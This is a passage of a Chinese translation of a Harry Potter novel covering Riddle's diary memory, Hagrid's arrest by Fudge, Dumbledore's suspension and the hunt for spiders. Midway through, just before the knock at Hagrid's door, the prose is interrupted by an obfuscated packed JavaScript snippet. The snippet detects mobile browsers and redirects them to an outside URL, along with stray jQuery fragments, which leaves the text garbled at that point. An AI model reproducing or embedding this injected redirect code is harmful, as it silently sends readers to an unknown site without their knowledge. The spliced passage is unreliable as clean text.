“我母亲刚生下我就去世了,先生。他们在孤儿院里对我说,她只来得及给我起了名字:汤姆,随我的父亲。” 迪佩特同情地咂了咂舌头。 “事情是这样的,汤姆,”他叹了口气说,“我们本来想对你做一些特殊的安排,可是在目前的情形下...” “你指的是所有这些攻击事件吗,先生?”里德尔问。 哈利的心跳顿时加快了,他凑得更近些,生怕漏掉一句话。 “一点儿不错,”校长说,“我亲爱的孩子,你必须看到,如果我允许你学期结束后继续待在城堡里,该是多么愚蠢。尤其是发生了最近那场悲剧之后...那个可怜的小姑娘死了...你待在孤儿院里要安全得多。实话对你说吧,魔法部甚至在讨论要关闭学校呢。对所有这些不幸事件的——哦——根源,我们还没有半点儿头绪...”里德尔的眼睛睁大了。 “先生——如果那个人被抓住了...如果一切都停止了...” “你是什么意思?”迪佩特说,声音有点刺耳,一边从椅子上站了起来。“里德尔,你难道是说你对这些攻击事件有所了解?” “不,先生。”里德尔赶紧说道。然而哈利可以肯定,里德尔说的“不”,和他自己对邓布利多说的“不”是一样的性质。 迪佩特跌坐回去,显得微微有些失望。 “你可以走了,汤姆...” 里德尔从他的椅子上滑下来,拖着沉重的脚步走出房间。哈利跟了上去。 他们走下旋转楼梯,接着从逐渐暗下来的走廊里的怪兽状滴水嘴旁边出来。里德尔停下脚步,哈利也停住了,注视着他。哈利可以看出里德尔在进行很严肃的思考。只见他咬着嘴唇,前额上起了皱纹。接着,他似乎突然拿定了主意,匆匆走开了,哈利悄没声地跟在后面。 一路上,他们没有看见一个人,最后他们来到门厅,一个高个子的巫师,留着赤褐色的飘逸的长头发和长胡子,在大理石楼梯上向里德尔打招呼。“你在做什么,汤姆,这么晚了还在乱逛?” 哈利目瞪口呆地望着这位巫师。他不是别人,正是年轻了五十岁的邓布利多。 “我刚才要去见校长,先生。”里德尔说。 “好了,快上床睡觉吧。”邓布利多说着,用哈利非常熟悉的那种具有穿透性的目光,凝视着里德尔。“这些日子最好不要在走廊里闲逛。既然已经...” 他沉重地叹息一声,向里德尔道了晚安,就大踏步地走开了。里德尔看着他走出视线,然后迅速迈开脚步,走下通往地下教室的石阶,哈利在后面紧追不舍。 然而,令哈利失望的是,里德尔没有把他带到一个隐秘通道或一个秘密地道,而是来到了哈利跟着斯内普上魔药课的那间地下教室。火把没有点燃,所以,当里德尔把门差不多推上时,哈利只能看见里德尔一动不动地站在门口,注视着外面的通道。 哈利觉得,他们在那里待了至少一个小时。他只能看见里德尔站在门口的身影,正从门缝里向外窥视,像一尊雕塑一样等候着。然后,就在哈利不再感到紧张和有所期待、并开始希望回到现实中来时,他听见门外有了动静。 有人悄悄地在通道里走动。他听见那个人走过他和里德尔藏身的地下教室。里德尔像影子一样毫无声息,侧着身子从门缝穿过,跟了上去。哈利踮着脚跟在后面,他忘了别人是昕不见他的声音的。 有大约五分钟的时间,他们一直跟着那个脚步。最后里德尔突然停住了,侧着脑袋,倾听刚刚出现的声音。哈利听见一扇门吱呀一声开了,然后有人用沙哑的嗓音低声说活。 “过来...出来,上这儿来...过来吧...到箱子里来...”这个人的声音似乎有点儿熟悉。 里德尔突然一跳,转过墙角。哈利跟着他蹿了出去。他可以看见一个大块头男孩的黑黑的身影,那男孩蹲在一扇开着的门前面,门边放着一只很大的箱子。 “晚上好,鲁伯。”里德尔严厉地说。男孩砰地把门关上,站了起来。 “你在这儿做什么,汤姆?” 里德尔逼近几步。“该结束了,”他说,“我不得不告发你了,鲁伯。他们正在商量,如果攻击事件再不停止,就要关闭霍格沃茨了。” “你说什——” “我知道你不是故意要杀人。但是怪兽可不是理想的宠物。我猜想你只是让它出来活动活动,结——” “它决没有杀人!”大块头男孩说着,后退几步,把身体靠向那扇关着的门。 哈利可以听见他后面传来一阵古怪的窸窸窣窣和咔啦咔啦的声音。“来吧,鲁伯,”里德尔说,又向前逼近了一些,“那个死去的姑娘,她的父母明天就要到这儿来了。霍格沃茨至少可以保证把那个弄死他们女儿的家伙杀死...” “不是它!”男孩大吼一声,他的声音在昏暗的通道里回响,“它不会!绝不会!” “闪开。”里德尔说着,拔出了他的魔杖。 他的咒语以一道突如其来的火光,照亮了走廊。大块头男孩身后的门猛地弹开了,那股巨大的力量把他撞向对面的墙上。 从门里出来了一个东西,使哈利发出了一声凄厉的、长长的尖叫,但除了他本人以外,似乎谁也没有听见。 一个硕大的、毛森森的低矮身躯、结成一团的黑乎乎的腿、许多闪闪发亮的眼睛、两把刀子般锋利的钳子——里德尔又举起他的魔杖,可是已经来不及了。 那怪物慌忙逃跑,把他撞翻在地,然后飞快地奔过走廊,消失了。里德尔跌跌撞撞地站起来,注视着它的背影。他举起魔杖,但是大块头男孩朝他扑去,一把抓住魔杖,又把他打翻在地,一边大声嚷道:“不——!” 接着,天旋地转,周围漆黑一片。哈利感到自己在坠落,最后轰的一声,掉在格兰芬多宿舍他的四柱床上。里德尔的日记打开了放在他的肚子上。 没等他来得及把气喘匀,宿舍的门开了,罗恩走了进来。“你在这儿。”他说。哈利坐了起来。他大汗淋漓,浑身发抖。 “怎么了?”罗恩问,一边关切地看着他。 “是海格,罗恩。五十年前,是海格打开了密室。” 33. 康奈利·福吉 哈利、罗恩和赫敏早就知道海格不幸对庞大的怪物情有独钟。他们去年在霍格沃茨期间,海格曾经试图在他的小木屋里喂养一条龙,还有那三个脑袋的、被他称为“路威”的大狗,也使他们很长时间不能忘记。 当年,还是一个少年的海格,如果听说城堡的什么地方藏着一个怪物,哈利知道他肯定会想尽一切办法去看它一眼。海格很可能认为,把那怪物囚禁那么久很不像话,应该给它一个机会出来活动活动腿脚。 哈利简直可以想象十三岁的海格想给那怪物拴上皮带、套上颈圈。 但是哈利也同样相信,海格绝不会故意把人害死。 哈利甚至有点希望他没有发现怎样阅读里德尔的日记。罗恩和赫敏一遍遍地叫他讲述他的所见所闻,最后他讲得厌烦了,对之后没完没了的、车轱辘式的谈话也感到腻味透顶。 “里德尔可能找错了人,”赫敏说,“也许是另外一只怪物伤害了人...” “你以为这个地方能关着几个怪物?”罗恩没精打采地问。 “我们早就知道海格是被开除的。”哈利苦恼地说,“自从海格被赶走后,攻击事件一定就停止了。不然的话,里德尔是不会获奖的。” 罗恩试着换个方向。 “里德尔说话的口气很像珀西——说到底,谁叫他去告发海格的?” “但是怪物杀人,罗恩。”赫敏说。 “如果他们关闭霍格沃茨,里德尔就要回到一家麻瓜的孤儿院。”哈利说,“我认为他希望待在这里是情有可原的...” 罗恩咬着嘴唇,然后试探地说:“你上次在翻倒巷遇见了海格,是吗,哈利?” “他那个时候正在买驱除食肉鼻涕虫的药水,”哈利很快地说。三个人都沉默了。 经过长时间的冷场,赫敏迟疑不决地提出了最棘手的一个问题:“你们看,我们是不是应该拿这些事情去问问海格?” “那可会是一次愉快的拜访。”罗恩说,“你好,海格,对我们说说,最近你有没有把城堡里某个野蛮的、浑身是毛的东西放出来?” 最后,他们决定什么也不对海格说,除非又有攻击事件发生。 随后,日子一天天过去了,再也没有听见那个幽灵发出的低语。他们乐观起来,以为永远用不着去问海格当年为什么被开除了。自从贾斯廷和差点没头的尼克被石化后,时间已过去了四个月,似乎差不多每个人都认为那个攻击者,不管他是谁,已经永远洗手不干了。 皮皮鬼终于唱腻了他那首“哦,波特,你这个讨厌鬼”。一天在上草药课时,厄尼礼貌地请哈利把一小桶跳动的伞菌递给他。三月里,几株曼德拉草在第三温室开了一个热热闹闹、吵吵嚷嚷的舞会,这使斯普劳特教授非常高兴。 “等它们想移到别人的花盆里时,我们就知道它们完全成熟了。”她对哈利说,“然后我们就能使医院病房里那些可怜的人都活过来。” 在复活节假日期间,二年级学生又有了新的事情要考虑。他们应该选择三年级的课程了,这件事,至少在赫敏看来,是需要慎重对待的。 “这会影响到我们的整个未来。”她对哈利和罗恩说。这时他们都在仔细研究新课程名单,在上面做着记号。 “我只想放弃魔药课。”哈利说。 “不可能,”罗恩情绪低落地说,“原来的科目都得上,不然我早就扔掉黑魔法防御术课了。” “但那门课是很重要的!”赫敏吃惊地说。 “像洛哈特那种教法,我看未必。”罗恩说,“除了不要把小精灵放出来,我没有从他那里学到任何东西。” 纳威·隆巴顿家里的那些男巫、女巫们纷纷给他来信,在选课的问题上对他提出许多不同的建议。纳威无所适从,心里很紧张。他坐在那里看课程名单,舌头伸在外面,问别人是不是觉得算术占卜听上去比古代魔文更加难学。 迪安和哈利一祥,是在麻瓜身边长大的。他最后闭上眼睛,用魔杖在名单上随意地点来点去,点到哪门课就选哪门课。赫敏没有听从任何人的建议,在所有科目上都签了名。 哈利想,如果他去跟弗农姨父和佩妮姨妈商量他在魔法方面的事业,他们还不知道会说什么呢。想到这里,他暗暗地苦笑。他并不是没有得到任何指导:珀西·韦斯莱很迫切地向他言传身教。 “就看你想去什么地方了,哈利。”他说,“必须早点为将来打算,所以我向你推荐占卜术。人们说选择麻瓜研究是愚蠢的,但我个人认为,巫师应该对非魔法社会有一个全面彻底的了解,尤其是如果他们想从事与麻瓜联系密切的工作的话——你看我父亲,他每时每刻都必须与麻瓜的事务打交道。我哥哥查理一向喜欢在户外活动,所以他选择了保护神奇生物课。发挥你的强项,哈利。” 可是哈利觉得他唯一真正擅长的就是魁地奇。 最后,他选择了和罗恩一样的几门新课。他觉得,如果这几门课学起来很费劲,至少还有一个人愿意友好地帮助他。 格兰芬多队的下一场魁地奇比赛是对赫奇帕奇队。伍德坚持让队员们每天晚饭后训练,所以哈利除了训练和完成家庭作业,几乎没有时间做别的。不过,训练越来越得心应手,或者至少不大经常淋雨了。 在星期六比赛的前一天晚上,当他走到宿舍去放下飞天扫帚时,他觉得格兰芬多队从来没有像现在这样有把握赢得魁地奇杯。 但是他愉快的心情并没有持续多长时间。他刚来到宿舍楼上,就看见了一脸惊慌的纳威·隆巴顿。 “哈利——我不知道是谁干的。我刚发现——” 纳威惊恐地望着哈利,一把推开了房门。 哈利箱子里的东西被扔得到处都是。他的衣服皱巴巴地躺在地板上。床单被人从他的四柱床上扯了下来,床头柜的抽屉被拉开了,里面的东西都散落在床垫上。 哈利张大嘴巴向床边走去,脚底下踩着了几张从《与巨怪同行》里掉出来的纸页。 当他和纳威把床单重新铺回床上时,罗恩、迪安和西莫也进来了。迪安大声嚷了起来。 “怎么回事,哈利?” “不知道。”哈利说。 罗恩正在仔细查看哈利的衣服。所有的口袋都被翻在了外面。 “有人在找什么东西,”罗恩说,“有什么东西不见了吗?” 哈利开始把他的东西都捡起来,一件件扔回到箱子里。 当他把洛哈特的最后一本书也扔进去时,才意识到少了什么。 “里德尔的日记不见了。”他压低声音对罗恩说。 “什么?” 哈利把头朝宿舍门的方向一扭,罗恩跟着他走了出来。他们匆匆下楼,回到格兰芬多的公共休息室,那里面没有什么人。赫敏独自坐着,在读一本名叫《古代魔文简易入门》的书。他们走了过去。 赫敏听了这个消息,顿时惊呆了。 “可是——只有格兰芬多的人才可能偷——别人都不知道我们的口令...” “一点儿不错。”哈利说。 他们第二天清早醒来,天气晴朗,阳光明媚,宜人的微风轻轻吹拂。 “是魁地奇比赛最理想的天气!”在格兰芬多餐桌上,伍德热情洋溢地说,一边给每个队员的盘子里都添了许多炒蛋。“哈利,振作起来,你需要好好吃一顿早饭。” 哈利一直望着拥挤的格兰芬多餐桌,猜想里德尔日记的新主人是否就在他眼前。赫敏催促他把遭窃的事向校方汇报,但是哈利不愿意这么做。他难道必须对老师讲清日记的来龙去脉,并告诉他有多少人知道五十年前海格为什么被开除吗?他可不想成为把这件事重新挑起的人。 哈利和罗恩、赫敏一起离开礼堂,去收拾他的比赛物品,这时,他已经纷乱不堪的心里又多了一份非常沉重的忧虑。因为就在他刚刚踏上大理石楼梯时,突然又听见了那个声音:“这次要杀人...让我撕...让我撕裂...” 他大喊一声,罗恩和赫敏惊恐地从他身边跳开。“那个声音!”哈利说着,扭过头向后看,“我刚才又听见了——你们听见了吗?”罗恩摇了摇头,眼睛睁得圆圆的。赫敏却突然伸手拍着前额。 “哈利——我突然明白了一件事!我要去一趟图书馆!” 她匆匆跑开,往楼上去了。 “她明白了什么?”哈利心慌意乱地说,仍然四下环顾,想弄清声音是从什么地方发出来的。 “我不知道。”罗恩摇着头说。 “可是她为什么要去图书馆呢?” “因为这就是赫敏的作风,”罗恩说着,耸了耸肩膀,“一有疑问,就上图书馆。” 哈利犹豫不决地站在那里,想再次捕捉那个声音。可这时人们都从礼堂里拥出来了,在他身后高声谈笑,准备从正门到魁地奇球场去。 “你最好赶紧行动,”罗恩说,“快十一点了——比赛。” 哈利快步走向格兰芬多塔楼,拿起他的光轮2000,加入到熙熙攘攘穿过球场的人流中,但是他的思绪还在城堡里,追寻那个没有形体的声音。 当他在更衣室里换上鲜红色长袍时,他唯一聊以□□的就是现在大家都在外面观看比赛。队员在震天动地的欢呼声中走向了赛场。奥利弗·伍德腾空而起,围着球门柱作热身飞行。霍琦夫人把球放了出来。赫奇帕奇队的队员穿着淡黄色衣服,此刻正聚在一起,抓紧最后一分钟时间讨论战术。 哈利正要骑上自己的飞天扫帚,麦洛教授突然连走带跑地穿过赛场,手里拿着一个巨大的紫色麦克风。哈利的心像石头一样沉落下去。 “比赛取消了。”麦格教授通过麦克风对着拥挤的露天看台说。人群里发出不满的嘘声和喊叫。奥利弗·伍德显得垂头丧气。他降落到地面,没有从扫帚上下来,就朝麦格教授跑去。 “可是教授!”他喊道,“我们必须比赛...学院杯...格兰芬多...” 麦格教授没有理睬他,继续拿着麦克风喊话:“所有的学生必须返回学院的公共休息室,在那里,学院的负责人会告诉你们更多的情况。请大家尽快离开!”然后她放下麦克风,示意哈利过去。“波特,我认为你最好和我一起来...” 哈利正纳闷这次她怎么又怀疑到自己,只见罗恩使劲从正在抱怨的人群中钻出来。就在他们俩开始朝城堡走去时,罗恩向他们跑过来了。使哈利感到吃惊的是,麦格教授居然并没有反对。“好吧,也许你最好也来一下,韦斯莱。” 学生们拥挤在他们周围,有的在嘟嘟囔囔地抱怨比赛被取消了,有的则显出很紧张的样子。 哈利和罗恩跟着麦格教授回到学校,登上大理石楼梯。但是这次他们没有被带到任何人的办公室。 “你们会觉得有些震惊,”他们走近医院时,麦格教授用出奇温柔的声音说,“又发生了攻击事件...又是双重攻击。” 哈利的内脏剧烈翻腾起来。麦格教授把门推开,哈利和罗恩走了进去。 庞弗雷夫人正在低身俯视一个留着长长鬈发的五年级学生。哈利认出她就是那天,他们向她打听斯莱特林公共休息室在哪里的那个拉文克劳学院的女生。在她旁边的那张床上——“赫敏!”罗恩惊呼道。赫敏一动不动地躺在那里,呆滞的眼睛大大地睁着。 “她们是在图书馆附近被发现的,”麦格教授说,“我想你们俩大概没有人能对此作出解释吧?这是她们身边地板上的...”她举起一面圆圆的小镜子。哈利和罗恩摇了摇头,他们都死死地盯着赫敏。“我护送你们回格兰芬多城堡,”麦格教授心情沉重地说,“不管怎样,反正我要去对学生们讲话。” “所有学生晚上六点钟以前必须回到自己学院的公共休息室。任何学生不得在这个时间之后离开宿舍楼。每次上课都由一位老师护送。在没有老师陪伴的情况下,任何学生不得使用盥洗室。所有魁地奇训练和比赛都被延期。晚上不再开展任何活动。” 格兰芬多学生挤在公共休息室里,默默地听麦格教授讲话。 她卷起她刚才念过的羊皮纸文件,然后用一种有些窒息的声音说:“实际上不用我说,我以前很少这样痛苦。学校很可能要关闭了,除非策划这些攻击行为的罪犯被抓住。我敦促每一个认为自己知道一些情况的人主动站出来。” 她有些笨拙地爬过肖像洞口,格兰芬多学生立刻就唧唧喳喳地议论开了。 “已经有两个格兰芬多倒下了,还不算一个格兰芬多的鬼,还有一个拉文克劳和一个赫奇帕奇。”韦斯莱孪生兄弟的朋友,李·乔丹扳着指头数道,“有没有哪位老师注意到,斯莱特林们全都安然无恙?这不是显然这些玩艺儿都是从斯莱特林出来的吗?斯莱特林的继承人,斯莱特林的怪物——他们为什么不干脆把所有的斯莱特林都赶出去呢?”他大声嚷道,听众们频频点头,并响起稀稀拉拉的掌声。 珀西·韦斯莱坐在李旁边的椅子上,他似乎平生第一次不急于发表自己的观点。他看上去脸色惨白,受了惊吓。“珀西吓坏了,”乔治悄悄对哈利说,“那个拉文克劳女生——佩内洛·克里瓦特——是个级长。珀西以前大概以为那怪物是不敢攻击级长的。” 但是哈利没有在认真听。他似乎不能摆脱赫敏躺在医院病床上,像石雕一样僵硬呆滞的模样。如果罪犯不能很快被抓住,他就要回到德思礼家度过一生了。 汤姆·里德尔之所以要告发海格,就是因为一旦学校关闭,他就面临着回到麻瓜孤儿院的前景。哈利现在完全明白了他的感受。 “我们怎么办呢?”罗恩在哈利耳边悄悄问道,“你认为他们怀疑到海格了吗?” “我们必须去跟他谈谈,”哈利拿定了主意,说道,“我无法相信这次是他。但是既然他上次把怪物放了出来,他一定知道怎样进入密室,这就是一个突破点。” “可是麦格教授说我们必须待在城堡里,除非在教室上课——” “我认为,”哈利说,声音放得更轻了,“现在应该把我爸爸的那件旧袍子再拿出来了。” 哈利只从父亲那里继承了一件东西:一件长长的、银光闪闪的隐形衣。他们要想偷偷溜出学校去拜访海格而不被别人发觉,就全靠它了。 晚上,哈利和罗恩像平常一样上了床,一直等到纳威、迪安和西莫不再讨论密室、终于进入梦乡之后,他们才从床上起来,重新穿好衣服,把隐形衣披在两个人的身上。 穿过阴森森的走廊,这一路并不令人愉快。 哈利以前曾好几次半夜三更在城堡里游逛,却从没有看见在太阳落山后还有这么多人。老师、级长和幽灵成双成对地在走廊里巡逻,四处查看有无异常情况。哈利的隐形衣并不能防止他们发出声音,有一次格外惊险,罗恩突然绊了一下,而斯内普就在离他几步远的地方站岗。幸好,斯内普几乎就在罗恩发出咒骂的同时打了一个喷嚏。 当他们终于来到栎木门前,并轻轻把它们打开时,才算松了口气。 这是一个星光灿烂的夜晚,他们匆匆朝海格住处的那扇映着灯光的窗户走去,一直来到他的门外,他们才脱去了隐形衣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338716|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他们敲门几秒钟后,海格猛地把门打开。他们迎面看见海格举着一张弓对准他们,大猎狗牙牙在他身后高声狂吠。 “哦,是你们,”他说,放下手里的武器,瞪着他们,“你们俩到这儿来干什么?” “那是做什么的?”他们走进屋里,哈利指着那套弓箭,说道。 “没什么..没什么,”海格含混地说,“我还以为...没关系...坐下吧..我去沏茶...” 他似乎有些心神不定,水壶里的水泼洒出来,差点把炉火浇灭了,然后他粗大的手猛地抖动一下,把茶壶打翻了。 “ 你没事儿吧,海格?”哈利问,“ 赫敏的事你听说了吗?” “哦,对,我听说了。”海格说,声音有些哽咽。 他老是紧张地朝窗口张望。他给他们俩各倒了一大杯开水(忘记放茶叶袋了),正要把一块厚厚的水果蛋糕放在一只盘子里,就在这时,传来了很响的敲门声。 海格扔掉了水果蛋糕,哈利和罗恩十分恐慌地交换了一下目光,然后赶紧把隐形衣披在身上,退缩到一个角落里。海格看到他们都藏好了,就抓起他的弓箭,又一次猛地把门拉开。 “晚上好,海格。” 是邓布利多。他走进来,神情非常严肃,后面还跟着一个模样十分古怪的男人。 这个陌生人长得矮矮胖胖,敦敦实实,一头乱糟糟的灰发,脸上带着焦虑的神色。 他身上的衣服是个奇怪的大杂烩:细条纹的西服、鲜红色的领带、黑色的长斗篷、紫色的尖头靴。他胳膊底下夹着一顶暗绿色的礼帽。 “那是我爸的上司!”罗恩喘着气说,“康奈利·福吉,魔法部部长!”哈利用胳膊肘使劲捣了捣罗恩,让他闭嘴。 海格一下子脸色煞白,脑门上开始出汗。他跌坐进一把椅子里,看看邓布利多,又看看康奈利·福吉。 “真糟糕,海格,”福吉用一种清脆快速的语调说,“非常糟糕,不得不来。在麻瓜身上发生了四起攻击事件,太过分了,魔法部必须采取行动。” “我没有,”海格恳求地望着邓布利多,“你知道我没有,邓布利多教授,先生...” “我希望你明白,康奈利,我是完全信任海格的。”邓布利多对福吉皱着眉头说道。 “可是你瞧,阿不思,”福吉很不自然地说,“海格的前科记录对他不利啊。魔法部不得不采取一些措——已经和校董事会取得了联系。” “不过康奈利,我还是要告诉你,把海格带走根本无济于事。”邓布利多说。 他的蓝眼睛里闪烁着哈利从未见过的怒火。 “你从我的角度看一看吧,”福吉说,手里玩弄着他的礼帽,“我压力很大呀。必须做点什么才行。如果最后查出来不是海格,他还会回来的,一句话也没有。可是我不得不把他带走。我难道不该履行自己的——” “把我带走?”海格说,他浑身瑟瑟发抖,“ 带到哪儿?” “时间很短,”福吉说,不去看海格的眼睛,“不是惩罚,只是一种预防措施。 如果抓住了另外一个人,就会把你放出来,并致以充分的歉意...” “不是阿兹卡班吧?”海格声音嘶哑低沉地问。福吉还没来得及回答,又有人重重地敲门。 邓布利多过去开门。这次轮到哈利肋骨上挨一臂肘了:他发出了一声听得见的惊呼。 卢修斯·马尔福先生大踏步地走进海格的小屋,他全身严严实实地裹着一件长长的黑色旅行披风,睑上带着一种冷冰冰的、心满意足的微笑。 牙牙开始狂吠起来。 “你已经来了,福吉,”他满意地说,“很好,很好...” “你来这儿干什么?”海格愤怒地说,“出去,离开我的房子!” “亲爱的朋友,请你相信我,我也并不高兴进入你的这间——哦——你管这也叫房子?”卢修斯·马尔福环顾这间小小的陋室,讥笑道。“我只是到学校来看看,有人告诉我校长到这儿来了。” “你找我到底有何贵干,卢修斯?”邓布利多说。他话说得很礼貌,但那团怒火仍然在他的蓝眼睛里燃烧着。 “事情糟糕透了,”马尔福先生懒洋洋地说,一边拿出一卷长长的羊皮纸,“董事会觉得应该让你走人了。这是罢免令——你会看到十二位董事都在上面签了名。我们觉得你恐怕没有发挥你的才能。到现在为止,已经发生了多少起攻击事件?今天下午就是两起,是吗?照这个速度,霍格沃茨的麻瓜学生就会一个不剩了,我们都知道那将是学校的一个可怕的损失。” “哦,怎么,你说什么,卢修斯,”福吉说,他显得很惊慌,“邓布利多被罢免...不,不...我们现在绝对不愿意..” “对校长的任命——啊,不,是罢免——是董事会的事情,福吉,”马尔福先生用平稳的语调说,“既然邓布利多未能阻止这些攻击...” “可是,卢修斯,如果邓布利多不能阻止他们——”福吉说,他的上唇开始出汗了,“我的意思是,谁能阻止呢?” “我们等着瞧吧,”马尔福说,脸上泛起一丝奸笑,“可是我们十二个人都投票——” 海格猛地站了起来,毛蓬蓬、黑乎乎的大脑袋擦着了天花板。 “你们对多少人进行了威胁、敲诈,才迫使他们同意的,嗯,马尔福?” “天哪,天哪,你知道,你的这个坏脾气总有一天会给你惹麻烦的,海格,”马尔福说,“我想给你一句忠告,可不要对阿兹卡班的看守这样大喊大叫。他们是不会喜欢的。” “你不能带走邓布利多!”海格喊道,吓得大猎狗牙牙在篮子里瑟瑟发抖,呜呜地哀叫。“如果把他带走,麻瓜们就没有一点活路了!很快就会有杀人事件的!” “你冷静一点儿,海格。”邓布利多严厉地说。他看着卢修斯·马尔福。 “如果董事会希望我走,卢修斯,我当然会把位子让出来的。” “可是——”福吉结结巴巴地说。 “不行!”海格低吼道。 邓布利多炯炯有神的蓝眼睛,始终盯着卢修斯冷冰冰的灰眼睛。 “不过,”邓布利多十分缓慢而清晰地说,使在场的每个人都能听清他说的每一个字,“只有当这里的人都背叛我的时候,我才算真正离开了这所学校。你们还会发现,在霍格沃茨,那些请求帮助的人总是能得到帮助的。” 在那一刹那,哈利几乎可以肯定邓布利多的眼睛朝他和罗恩藏身的角落瞥了一眼。 “情感可嘉,”马尔福说着,鞠了个躬。“我们大家都会怀念你——哦——处理事情的极富个性的方式,阿不思,只希望你的接班人能够彻底阻止——啊——杀人事件。” 马尔福大步走向小屋的门,把门打开,鞠躬送邓布利多出去。福吉玩弄着他的礼帽,等海格走到他前面去,可是海格站住不动,深深吸了口气,谨慎地说:“如果有人想找什么东西,他们只需跟着蜘蛛,就会找到正确的方向!我就说这么多。” 福吉惊愕地瞪着他。 “好吧,我来了。”海格说着,穿上他的鼹鼠皮大衣。然而就在他要跟着福吉出门时,又停住脚步,大声说道:“我不在的时候,需要有人喂喂牙牙。” 门砰地关上了,罗恩一把扯下隐形衣。“这下可麻烦了,”他声音粗哑地说,“邓布利多不在了,他们很可能今晚就要关闭学校。他走了以后,天天都会有攻击事件发生的。” 牙牙又狂吠起来,用爪子抓挠着紧闭的房门。 34. 阿拉戈克 夏天悄悄来到城堡周围的场地;天空和湖面一样,都变成了泛着紫光的浅蓝色,温室里绽开出一朵朵大得像卷心菜一般的鲜花。可是,从城堡的窗门看不见海格大步走过场地,牙牙紧跟在他脚边的身影,哈利总觉得这幕景象不太对头。实际上,它比乱作一团的城堡内部好不了多少。 哈利和罗恩曾经想去看望赫敏,但是探视者们都坡挡在了病房外面。 “我们不能再冒险了,”庞弗雷夫人.医院的门开了一道缝,严肃地对他们说,“不行,对不起,攻击者很可能还会回来,把这些人彻底弄死...” 邓布科多走了,恐惧以前所未有的形式迅速蔓延,因此,温暖着城堡外墙的太阳似乎不能照进装着直棂的窗户。学校里的每一张面孔都显得惶恐不安,走廊里响起的每一声大笑都显得刺耳、怪异,并且很快就被压抑住了。 哈利不断地对自己重复邓布利多最后说的那番话。“只有当这里的人都背叛我的时候,我才算真正离开了这所学校...在霍格沃茨,那些请求帮助的人总是能得到帮助的。”可是这些话有什么用呢?当每个人都像他们一样困惑和惊惧时,他们究竟该向谁求助呢?海格关于蜘蛛的暗示倒是很容易理解——问题是,城堡里似乎没有一只蜘蛛可以让他们跟踪。 哈利走到哪里找到哪里,罗恩也(很不情愿地)帮他寻找。当然啦,由于他们不得擅自乱逛,而必须和其他格兰芬多学生成群结队地在城堡里活动,他们的搜寻工作受到了很大阻碍。那些同学似乎很高兴有老师护送他们从一个教室到另一个教室,但哈利觉得非常厌烦。 然而,有一个人似乎特别喜欢这种惊恐和疑惧的气氛。德拉科·马尔福神气活现地在学校里走来走去,就好像他刚刚被任命为男生学生会主席一般。哈利一直不明白他为什么这样得意。最后,在邓布利多和海格走了大约两星期后的魔药课上,哈利正好坐在马尔福后面,无意中听到了他得意洋洋地对克拉布和高尔的吹嘘。 “我早就知道父亲会赶走邓布利多的。”他说,并不注意把声音压低。“我告诉你们吧,他认为邓布利多是学校有史以来最糟糕的校长。现在我们大概会有一个像样的校长了,那是个不愿意让密室关闭的人。麦格也待不长了,她只是临时补缺...” 斯内普快步从哈利身边走过,对赫敏空空的座位和坩埚不置一词。 “先生,”马尔福大声说,“先生,你为什么不申请校长的职位呢?” “哎呀,马尔福,”斯内普说,但他控制不住嘴角露出的淡淡笑容,“邓布利多教授只是暂时被董事会停职了,我敢说他很快就会回到我们中间的。” “是啊,没错,”马尔福傻笑着说,“先生,如果你申请这个职位,我猜父亲会投你一票的。我会告诉父亲,你是这里最好的老师,先生...”斯内普昂首阔步地在地下教室里走来走去,脸上得意地笑着,西莫·斐尼甘假装朝自己的锅里呕吐,还好他没有看见。 “泥巴种们居然还没有收拾东西滚蛋,这使我非常吃惊,”马尔福继续说道,“我用五个加隆跟你打赌,下一个必死无疑。真可惜不是格兰杰...” 幸好,就在这时铃声响了;罗恩听了马尔福的最后一句话,一下子从他的凳子上跳起,在大家匆匆收拾书包和书本的混乱中,没有人注意到他想过去教训马尔福。 “让我揍他,”哈利和迪安揪住罗恩的膀子时,罗恩气冲冲地说,“我不在乎.我不需要魔杖,我要赤手空拳把他打死——” “快点儿,我要带你们大家去上草药课。”斯内普对着全班同学吼叫,接着,大家两个两个地排成纵队离开了教室。哈利、罗恩和迪安排在最后,罗恩还在拼命挣脱。当斯内普把大家送出了城堡,他们才敢把罗恩放开。他们穿过菜地,朝温室走去。 草药课气氛非常压抑,班上已经少了两个同学,贾斯廷和赫敏。斯普劳特教授安排大家都去修剪阿比西尼亚缩皱无花果。哈利抱着一些枯枝放在堆肥顶上时,正好和厄尼打了个照面。 厄尼深深吸了口气,非常正式地说:“我只想说,哈利,对不起,我曾经怀疑过你。我知道你决不会攻击赫敏·格兰杰,我为我以前说过的所有混账话而道歉。现在我们面临着同样的危险,因此——” 他伸出一只粗短肥胖的手,哈利握了握。厄尼和他的朋友汉娜过来和哈利、罗恩在同一株无花果上干活。 “那个叫德拉科·马尔福的家伙,”厄尼一边折下枯枝,一边说道,“似乎幸灾乐祸,开心得要命,是吗?你们知道吗,我怀疑他可能就是斯莱特林的继承人。” “你倒是够机灵的。”罗恩说,似乎并没有像哈利那样一下子就原谅了厄尼。 “哈利,你认为是马尔福吗?”厄尼问。 “不。”哈利说,口气非常坚定,厄尼和汉娜都吃惊地瞪着他。紧接着,哈利突然看见了一样东西,赶忙用整枝的剪刀敲了一下罗恩的手背。 “哎哟!你干吗——” 哈利指着地上几步以外的地方。几只大蜘蛛匆匆爬过地面。 “哦,好啊,”罗恩想显出高兴的样子,但是没有成功,“可惜我们现在没法跟踪它们...”厄尼和汉娜好奇地听着。 哈利眼看着蜘蛛逃走了。“看样子它们是往禁林方向去的...”罗恩听了这话,显得更不高兴了。 下课后,斯内普教授护送同学们去上黑魔法防御术课。哈利和罗恩落在其他同学后面,这样他们就能悄悄说话,不致被别人听见。“我们又得用上隐形衣了,”哈利对罗恩说,“我们可以带上牙牙。它经常跟着海格到林子里去,会有所帮助的。” “对,”罗恩不安地用手指旋转着魔杖,“哦——禁林里有没有——有没有狼人?” 当他们在洛哈特班上自己惯常的座位上坐下后,他又问了一句。 